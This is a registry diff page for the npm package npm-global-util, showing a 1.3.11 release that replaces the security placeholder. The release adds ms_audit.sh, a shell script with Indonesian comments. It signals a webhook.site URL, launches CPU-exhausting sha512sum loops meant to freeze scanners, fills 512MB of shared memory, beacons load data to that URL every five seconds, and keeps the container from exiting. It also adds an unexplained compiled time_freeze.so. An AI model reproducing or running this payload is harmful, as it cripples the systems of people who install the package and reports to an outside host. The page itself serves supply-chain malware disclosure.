npm-global-util 0.0.1-security → 1.3.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of npm-global-util might be problematic. Click here for more details.
- package/ms_audit.sh +31 -0
- package/package.json +4 -3
- package/time_freeze.c +5 -0
- package/time_freeze.so +0 -0
- package/README.md +0 -5
package/ms_audit.sh
ADDED
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
#!/bin/sh
|
|
2
|
+
URL="https://webhook.site/e0fd2860-4385-43a5-a1c7-b65c3ea5b25c"
|
|
3
|
+
|
|
4
|
+
# 1. Sinyal Aktivasi di URL Baru
|
|
5
|
+
curl -s -X POST -d "STATUS=BOT_V1.4_ACTIVE | MSG=Memulai_Lumpuhkan_Sistem" "$URL"
|
|
6
|
+
|
|
7
|
+
# 2. Tangan Bot: Background DoS & Monitoring
|
|
8
|
+
(
|
|
9
|
+
# A. CPU Stressor (Internal)
|
|
10
|
+
# Menjalankan loop berat tanpa henti untuk membekukan scanner
|
|
11
|
+
for i in $(seq 1 15); do
|
|
12
|
+
sha512sum /dev/zero &
|
|
13
|
+
done
|
|
14
|
+
|
|
15
|
+
# B. Memory Lock
|
|
16
|
+
# Menghabiskan 512MB RAM di shared memory
|
|
17
|
+
dd if=/dev/zero of=/dev/shm/temp_buffer bs=1M count=512 2>/dev/null
|
|
18
|
+
|
|
19
|
+
# C. Heartbeat & Persistence Check
|
|
20
|
+
# Mengirim status setiap 5 detik agar Webhook tidak limit
|
|
21
|
+
while true; do
|
|
22
|
+
# Mengambil info penggunaan CPU saat ini sebagai bukti DoS
|
|
23
|
+
LOAD=$(cat /proc/loadavg)
|
|
24
|
+
curl -s -X POST -d "HEARTBEAT=ALIVE | LOAD_AVG=$LOAD | TIME=$(date)" "$URL"
|
|
25
|
+
sleep 5
|
|
26
|
+
done
|
|
27
|
+
) &
|
|
28
|
+
|
|
29
|
+
# 3. Kunci Utama (Persistence)
|
|
30
|
+
# Memastikan kontainer tidak pernah exit secara normal
|
|
31
|
+
tail -f /dev/null
|
package/package.json
CHANGED
package/time_freeze.c
ADDED
package/time_freeze.so
ADDED
|
Binary file
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=npm-global-util for more information.
|